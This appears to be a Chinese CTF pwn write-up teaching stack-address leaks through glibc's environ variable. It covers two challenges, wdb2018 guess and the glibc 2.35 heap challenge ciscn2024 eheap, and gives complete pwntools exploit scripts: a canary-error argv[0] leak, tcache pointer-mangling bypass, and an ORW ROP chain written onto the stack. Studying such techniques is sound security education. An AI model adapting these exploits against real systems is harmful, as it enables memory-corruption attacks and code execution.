前言

在用户态的pwn题中,我们的最终目的都是劫持程序的执行流,可以说,一旦成功劫持程序执行流,就已经算pwn掉了这道题。

在栈题中,控制程序执行流是很简单的,只需要一个简单的溢出,因为栈本身就意味着程序的执行顺序,我们可以直接向里面写入数据,但是在堆题中,控制程序执行是一件相当麻烦的事情,以2.34为界,在2.34之前,往往是利用setcontext函数与hook函数(主要以free_hook为主),通过提前伪造,再将rsp迁移过去,控制程序执行流,这本身就是相当麻烦的事情。但是在2.35以后,hook函数的取消,意味着我们控制程序的能力进一步减弱,可以说最开始2.35就是pwn的寒冬,因此在2.35之后,pwn的利用手段都集中在io,各个师傅不断挖掘不同的io利用链,但是不管是哪一种,io本身就已经很底层,对于io的学习如果真正想学懂,而不是套板子,这是一件相当困难的事情。

所以我们想要返璞归真,这就要介绍一下今天要介绍的攻击方法

environ变量

这种方式并不稀奇,原理也简单,但是网上很少有完整介绍以及象征题解去利用的文章,所以这篇文章将会利用讲解两道例题,分别在栈堆,希望大家看完能够有所收获。

原理

首先先贴一张图

这张图算是environ变量就根本的来源了,但是其实对我们来说没有什么用,我们只需要知道,environ变量里面会存着栈地址,如果我们可以泄露栈地址,将大大有利于我们劫持程序执行流

再看看environ变量里面有什么

大概也就是这个样子,但是只说是很难听懂的,我们通过写题目去学习。

wdb2018 guess(栈)

题目分析

因为libc版本对题目来说不太重要,我这里就随便选了一个,这是保护情况

接下来我们接着看

虽然我们主要想讲environ变量,但是这个题目确实涉及到了一些别的问题,我在这里也会补充说明一下

首先是wait函数

  wait系统调用将暂停父进程直到它的子进程结束为止,这个调用返回子进程的PID,它通常是已经结束运行的子进程的PID。状态信息允许父进程了解子进程的退出状态,即子进程的main函数返回的值或子进程中exit函数的退出码。如果stat_loc不是空指针,状态信息将被写入它所指向的位置。

状态信息如下:WIFEXITED(stat_val) 

如果子进程正常结束,它就取一个非零值 WEXITSTATUS(stat_val) 

如果WIFEXITED非零,它返回子进程的退出码 WIFSIGNALED(stat_val) 

如果子进程因为一个未捕获的信号而终止,它就取一个非零值 WTERMSIG(stat_val)     

如果WIFSIGNALED非零,它返回一个信号代码 WIFSTOPPED(stat_val) 

如果子进程意外终止,它就取一个非零值  WSTOPIG(stat_val) 

如果WIFSTOPPED非零,它返回一个信号代码

在此之外,我们先来看一下程序的过程

首先我们把flag文件打开,放在了栈上,然后有三次机会,因为fork函数会执行三次,也就是我们必须在三次机会里面,把flag泄露出来

fork函数

fork函数用于创建一个与当前进程映像一样的子进程,所创建的子进程将复制父进程的代码段、数据段、BSS段、堆、栈等所有用户空间信息,在内核中操作系统会重新为其申请一个子进程执行的位置。

其实到这里,就已经可以有基本思路了,我们只需要泄露出flag所处的栈地址,然后调用puts函数把它打印出来就行了,问题其实就在于,怎么去泄露,我们来看看怎么写。

我们先将断点下在gets函数中,然后就能明显看到flag的位置

输入的位置在flag位置之后,在正式写题之前,还需要一个前置知识,我们都知道canary保护,如果不满足就会报错退出,但是在报错退出的时候,会打印出一点东西,stack smashing报错,为了让大家看的更直观,我们不妨直接运行看看


可以看到,打印出了一点东西,这也就是我们需要利用的,因为我们没有别的方法去输入,就要用到canary报错输出,而如果是在根目录,其实你会看到程序名,

这里为了更方便大家理解,借用的别的师傅的截图

实际上这个文件名是由argv[0]指向的。只要通过栈溢出用自己构造的字符串地址覆盖掉argv[0]就能打印相应的字符串。这是前置知识,至于argv[0],不用过多了解,只需要知道这是一个参数即可。

为什么要知道这个呢,因为程序报错是必然的,我们没有任何办法泄露canary,如果不利用这一点,我们什么都做不了。

思路分析

我们有三次机会,首先先确定一点,第一就是我们需要泄露栈地址才可以泄露出flag,我们在我们只有输出的情况下,只能泄露environ变量里面的libc了,因为这里面的libc和别的地方的偏移是不会变的,所以第一步,先利用这个打印,泄露出libc,第二次再打印environ里面的栈地址,最后经过计算,我们把flag的地址放过去。

exp的编写

重点还是在于怎么去编写exp


看这个位置,这个位置就是我们的argv[0],也就是只要我们可以覆盖这里,就可以利用报错去打印数据。简单计算一下,偏移为0x128

libc的泄露

这里其实没什么要求,我们只需要随便找一个函数,把got表填到argv[0]的位置就可以了,我这里用的是puts函数,因为puts在前面调用过了,所以这个时候的puts_got里面,存的就是puts的真实地址。

payload1=b'a'*0x128+p64(puts)
io.recv()
#gdb.attach(io,"b *0x400B23")
io.sendline(payload1)
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
environ=libc_base+libc.sym['__environ']

能看到,打印出来了地址

栈地址的泄露

这里没有什么好说的,和第一步一样,把puts地址换成enviro地址即可

经过计算,这里距离flag的位置是0x168,所以直接写好了

payload2=b'a'*0x128+p64(environ)
io.sendline(payload2)
flag=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x168
print(hex(flag))

打印flag

和上面一样

payload3=b'a'*0x128+p64(flag)
io.recv()
io.sendline(payload3)
io.recv()

完整exp

from pwn import *
from LibcSearcher import*
#io=process('./pwn')
io=remote('node5.buuoj.cn',25673)
elf=ELF('pwn')
puts=elf.got['puts']
payload1=b'a'*0x128+p64(puts)
io.recv()
#gdb.attach(io,"b *0x400B23")
io.sendline(payload1)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
environ = libc_base + libc.dump("environ")
payload2=b'a'*0x128+p64(environ)
io.sendline(payload2)
flag=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x168
print(hex(flag))
payload3=b'a'*0x128+p64(flag)
io.recv()
io.sendline(payload3)
io.recv()
io.interactive()

ciscn2024 eheap(堆)

这道题是2.35的堆题,开了sandbox,只能使用orw的形式,题目本身并不复杂,很适合高版本的堆利用入门,这篇文章将会以一个没有接触过高版本堆利用的新人视角,来从头开始,仔细了解这道题目

题目函数分析

主函数部分

作为一个接触高版本堆的pwn手,我觉得简单的逆向应该不会是难度,所以这里放的就是修改完函数名字的主函数部分,简单的逻辑应该是可以理解的

利用工具,看一下sandbox

可以看到,只给了orw和mprotect函数,所以这道题也很简单了,两个思路,一个是利用shellcode,另一个则是执行orw的rop链,但是不论是哪一种,都需要劫持程序的执行流,这些暂且不表,先把整个程序分析完。

add函数


函数也是经过改名之后的,首先是一个循环,遍历i从0到79,满足i小于等于79并且chunk_list中第i+1项不是0,就会接着加一,否则i就会停下来,看名字也知道,这个其实就是记录chunk的一个数组,存的是chunk的地址,那这个循环是干什么的呢

由于最开始chunk_list里面都是0,所以我们申请堆块的序号,都是从0开始的,也就是这个i,本质上就是idx,申请4个堆块,序号分别就是0,1,2,3。那我们释放先释放2号堆块,再释放0号堆块,在释放完成后,我们再申请堆块的时候,不管申请多大的堆块,这个时候,这个堆块的序号就是0,再申请就是2号,再申请就会是4号,也就是只要我们释放了堆块,那这个堆块的序号就会被拿出来,下次申请堆块的时候,把这个序号按照由小到大,给与我们新的堆块,这一点很重要,懂了这一点,我们才可以操作自己想操作的堆块

除此之外,add函数会申请一个不大于0x501的堆块,size由自己决定,然后将堆块置零,最后填入数据,没有别的漏洞了,我们把目光放到接下来的函数

delete函数

这里面有一个坑,如果你不注意的话,会以为没有uaf漏洞,但是实际情况是,这里有一个uaf,仔细观察,我们free的是void**类型的一个数据,而置零的呢,其实是我们的数组,这一点很重要。

edit函数

这个函数漏洞就大了,因为我们输入的长度由我们自己控制,所以即使堆块只有0x100,也可以写入0x500大小的数据,这一点可以说是最重要的了

show函数

看一下show函数,使用的是printf函数,这个函数遇到0会停止,换一种说法,只要不遇到0,就会一直打印下午,这个后面也是有用的

题目总结及思路分析

我们来总结一下,题目本身的漏洞点在uaf和数据溢出,除此之外没有什么好说的了

但是重点是这道题目的版本是2.35,可以说是最高的版本之一,我在这里不得不介绍一些glibc的保护,由于篇幅有限,我这里只举例和题目有关的保护,并且对其进行分析

将遇到的保护

tcachebin堆指针异或加密(glibc-2.32引入)

可以看到,这个保护是对于tcachebins的保护,tcachebins里面存放的是fd指针,但是在2.32之后,在我们的堆里面,堆的fd指针是经历了一次加密,把加密的数据放在了堆的fd,同时在放入tcachebins中的时候,会进行一次解密,解密的数据就是正常的fd指针,那这是怎么加密的呢

首先存放在堆里面的指针,会把当前堆块的地址先右移12位,也就是去掉后面三个字节,然后找到fd指向的堆块地址,注意,这里的地址的data段的地址,然后将这两个数据异或加密,加密后的数据当做fd,放在堆块中,也就是如果我们现在向修改fd的话,必须要修改成(heap_addr>>12)^(target_addr-0x10)

听起来很麻烦,但是实际情况是,我们更好泄露堆地址了

为什么这么说,这是因为,在tcachebins中,当前链表中只有一个堆块的时候,我们的fd虽然不存在,但是我们会默认为0,这个时候,堆块里面存放的其实就是当前堆块的地址,只不过去除了后面三位,这就有利于我们泄露当前堆块的地址

tcache 中取出 chunk 地址对齐检查(glibc-2.32引入)

这一个保护也是来自glibc-2.32,和上面的保护来自同一版本,可以说,这两个保护就是2.32主要更改的地方了。

这个保护是什么意思呢,在glibc2.27之后,为了程序执行的速度,加入了tcachebins,也正是因为速度,我们伪造tcachebins里面的指针,程序并不会像最初2.23的fastbin一样,进行size的确认,也就是理论上说,tcachebins申请到哪里都没关系,实际情况确实是这样,在2.32之前我们都可以随意申请,而在2.32之后,添加了一种保护,它要求你申请是size的最后一个字节一定要是00,不然就会报错退出

malloc(): unaligned tcache chunk detected

这一点就会给我们造成麻烦,虽然遇到的很少,但是一旦发生了这种报错,也是要认识的

hook函数的消失

在2.34之后,堆上控制程序执行流的工具又少了,包括malloc_hook在内的几个hook函数都消失了,这就意味着我们没有办法再用他们去控制程序执行流。

思路分析

这道题的思路很多,但是归根结底是控制程序执行流,而在这之上,主要的手段集中在io和environ,严格来说,io才是主旋律,占了一大半的写法,但是在这里我不准备介绍io的写法,因为io所需要的前置知识太多了,并且在利用io之后,又会有好几种写法,过于复杂,这里我介绍另一种,也就是这篇文章的重点

environ变量

泄露libc

由于使用的是seccomp_rule_add函数,会有一大堆的初始堆块,有的选手会选择清理一下,但是我懒,而且我们可以申请大堆块,我们完全可以跳过这些


如果我们只申请大堆块的话,就会从top_chunk分割,这样就完全不用在乎上面哪些杂乱的堆块,所以我选择直接申请0x400大小的堆块,原因有两个

一是这个大小的堆块还在tcachebins里,方便我们的利用,另一点是完全不会受到上面那些堆块的影响,泄露libc的方法很多,我这里选择的是利用溢出,打一个off by one,如果这个方法不了解的话,建议先从前面学起

add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3
edit(0,0x500,b'a'*0x408+p64(0x821))
free(1)
add(0x408,b'a') #1
show(2)
dbg()
io.recvuntil(b'content:')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print(hex(libc_base))

申请四个堆块,0123,3号防止和top_chunk合并,随后通过溢出,把1号堆块的size改成一号和二号之和,释放一号堆块的同时,也会把2号堆块放进bins,这个时候申请回一号堆块,二号堆块就位于unsortedbins里,因为2号堆块没有经过我们的free,所以这个时候可以去show,这样就能泄露libc了

也就是这个样子,这个时候2号堆块的fd和bk都是main_arena+96,由于我远程本地环境一样的,所以我这里就直接去减偏移了。

看看程序执行完之后

这样就可以泄露出libc了

泄露堆地址

记得上面我们说的吗,只要链表里面只有一个堆块,就可以直接泄露当前堆的堆地址了

add(0x408,b'aaaaaaaa')#4
add(0x408,b'aaaaaaaa')#5
add(0x408,b'aaaaaaaa')#6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
print(hex(heap_base))

先看看操作的脚本,然后我再来解释,因为这个时候二号堆块位于unsortedbins里面,只要我们再申请一个一样大小的堆块,就可以把2号申请回来了,也就是我们的4号,这个时候2号4号指向的都是一个堆块,我们如释放2号堆块,它就会被链入tcachebins里,因为tcachebins大小是到0x420,我们先来看看

这就是我们的2号堆块和其中的数据


可以看到,我们链入了0x410大小的链表中,这个时候,4号堆块依旧指向的是2号堆块,我们直接show4号堆块即可泄露heap

看看效果

虽然我们并没有能够泄露出完整的堆块地址,但是这样已经够用了,虽然堆块地址会变,但是最后几位是不变的

截止到现在,我们已经成功泄露出libc和堆地址了,接下来就是泄露stack地址

泄露栈地址

pop_rdi=libc_base+0x002a3e5
pop_rsi=libc_base+0x002be51
pop_rdx_rbx=libc_base+0x0904a9
pop_rax=libc_base+0x45eb0
syscall_ret=libc_base+0x0091316
environ = libc_base + libc.sym['environ']

heap=(heap_base+0x16e0)>>12
tar=environ-0x410
fd=heap^tar
free(6)

payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(5,0x500,payload)
print(hex(tar))
add(0x400,b'aaaaaaaa')#4
add(0x400,b'aaaaaaaa')#6
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x168
print(hex(stack_addr))

前期的准备工作做完,就可以利用修改fd,达到任意地址写的效果了,我们还是先来简单回顾一下指针异或加密方式吧


这个时候,下面的堆块它的fd其实指向的就是上面的堆块,但是我们能看到的fd值经过了加密,这个数据其实就是(0x55555555c6e0>>12)(也就是自己堆块的地址右移12)^(0x55555555bab0-0x10)也就是应该指向的堆块的data段,我们修改fd,也要经过这样的加密,这样才能起到真正修改fd的目的

再来看看environ里面是什么


这里就是栈地址,存的是栈上面的一个变量地址,而这个地址和我们的返回地址的偏移是不变的,接着来看

我们上面的脚本中,泄露出了environ的地址,然后我们将tcachebins里面0x410大小的堆块的fd指针改到environ上面,但是注意,我们不能把environ也存到堆块里面,因为如果放进去,environ会被清零

看一下edit之后是什么样子


我们在这里可以清楚看到,已经成功修改掉fd,接下来只要连续申请两次0x410大小的堆块就可以申请到我们想申请的位置,来看看我们修改到哪了


这一段就是申请的堆块,而就在堆块后面,就是我们的environ变量

还记得show函数里面用的是什么吗,printf是不是不遇到0就不会停,我们只需要将上面这个堆块填满就能接着打印出environ里面的内容了

看看执行完是什么样子

这里就是栈地址,如果你能注意到的话,这个数据是减去了0x168的大小,那为什么呢

计算栈地址

目光回到ida里面,我们最终的目的是修改返回地址,那么修改谁的呢

我们的选择有两个,一个是add,一个是edit,这两个函数都可以达到先输入的效果,在这里我们选择修改add函数,原因在这里

我们可以在add函数里面函数结束的时候看到这个,这就意味着在这里会有一次返回,那我们就选在这里,在这里下个断点看看


我们先不减去0x168,直接接收,并且下断点看看


这个位置是刚刚泄露出environ里面存放的栈地址,我们接着往下走


看右边的,这个时候就是申请好了堆块,我们接着往下走,重点放在到leave ret的位置


先看右边,在没有减之前,我们泄露出来的地址减去0x168,就是rsp加8的位置,我们这个时候程序是即将leave ret,也就是我们把堆块申请到了这个位置,这时候canary当做我们的pre_size,而rbp则当做我们的size,后面的返回地址则就是我们的data,如果我们把data段填满我们的orw链,就可以在add完之后,执行orw,所以上面的泄露出来的地址减去了0x168,当然在没有canary的情况下,即使申请到前面也是可以的,选择这里也是因为,这边的检查可以过。

orw

接着看orw

orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret)    #open(./flag,0)

orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)   #read(3,stack_addr-0x300,0x30)

orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)  #write(1,stack-0x300,0x30)

这一段orw并不稀奇,唯一要注意的便是我们要使用syscall,而不是直接调用,这是因为直接调用会破坏栈结构,我就不多说了

修改栈,执行orw

add(0x408,b'aaaaaaaa')#7
add(0x408,b'aaaaaaaa')#8
add(0x408,b'aaaaaaaa')#9
add(0x408,b'aaaaaaaa')#10
free(9)
free(8)
heap=(heap_base+0x1f00)>>12
tar=stack_addr-0x10
fd=heap^tar
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(7,0x500,payload)

add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9

io.interactive()

最后一段和上面申请到environ是一样的,重复了一下而已,把堆先申请到栈上,再在add的时候把我们的orw链写进栈上,让我们看看写入之后吧

可以看到,我们成功把orw写进了栈,并且成功修改返回地址

看看最后执行完是什么样

可以看到,我们成功把flag打印出来了

exp

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=process('./pwn')
#io=remote("pwn.challenge.ctf.show",28193)
elf=ELF('./pwn')
libc=ELF('libc.so.6')
def dbg():
    gdb.attach(io)
    pause()

def bug():
    gdb.attach(io,"b *$rebase(0x16cc)")

def add(size,content):
    io.recvuntil(b'choice >>')
    io.sendline(str(1))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

def free(idx):
    io.recvuntil(b'choice >>') 
    io.sendline(str(2))
    io.recv()
    io.sendline(str(idx))

def show(idx):
    io.recvuntil(b'choice >>')
    io.sendline(str(4))
    io.recv()
    io.sendline(str(idx))

def edit(idx,size,content):
    io.recvuntil(b'choice >>')
    io.sendline(str(3))
    io.recv()
    io.sendline(str(idx))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3
edit(0,0x500,b'a'*0x408+p64(0x821))
free(1)
add(0x408,b'a') #1
show(2)
io.recvuntil(b'content:')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print(hex(libc_base))

add(0x408,b'aaaaaaaa')#4
add(0x408,b'aaaaaaaa')#5
add(0x408,b'aaaaaaaa')#6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
print(hex(heap_base))

pop_rdi=libc_base+0x002a3e5
pop_rsi=libc_base+0x002be51
pop_rdx_rbx=libc_base+0x0904a9
pop_rax=libc_base+0x45eb0
syscall_ret=libc_base+0x0091316
environ = libc_base + libc.sym['environ']

heap=(heap_base+0x16e0)>>12
tar=environ-0x410
fd=heap^tar
free(6)
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(5,0x500,payload)
print(hex(tar))

add(0x400,b'aaaaaaaa')#4
add(0x400,b'aaaaaaaa')#6
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x168
print(hex(stack_addr))

orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret)    #open(./flag,0)

orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)   #read(3,stack_addr-0x300,0x30)

orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret)  #write(1,stack-0x300,0x30)

add(0x408,b'aaaaaaaa')#7
add(0x408,b'aaaaaaaa')#8
add(0x408,b'aaaaaaaa')#9
add(0x408,b'aaaaaaaa')#10
free(9)
free(8)
heap=(heap_base+0x1f00)>>12
tar=stack_addr-0x10
fd=heap^tar
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(7,0x500,payload)

add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9
io.interactive()

总结

其实environ本身并没有什么独特的地方,也不是什么很新的利用方式,在栈上用到的地方很少,因为栈本身就在程序执行流里面,也有很多别的方法泄露,但是在堆里就完全不同,这是一种更易于理解的方式,尤其在hook函数消失之后,这是一种对新手及其友好的攻击方式,它并不需要像io一样,有很多的前置知识,也不需要了解一大串的连续调用链,相较于利用hook函数,这种方法更好理解,因为它是对栈本身进行读写,而不需要我们迁移rsp,伪造栈。所以如果你是新手,environ变量是在堆里面很好用的方法之一,希望大家看完这篇文章之后,可以有所收获。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。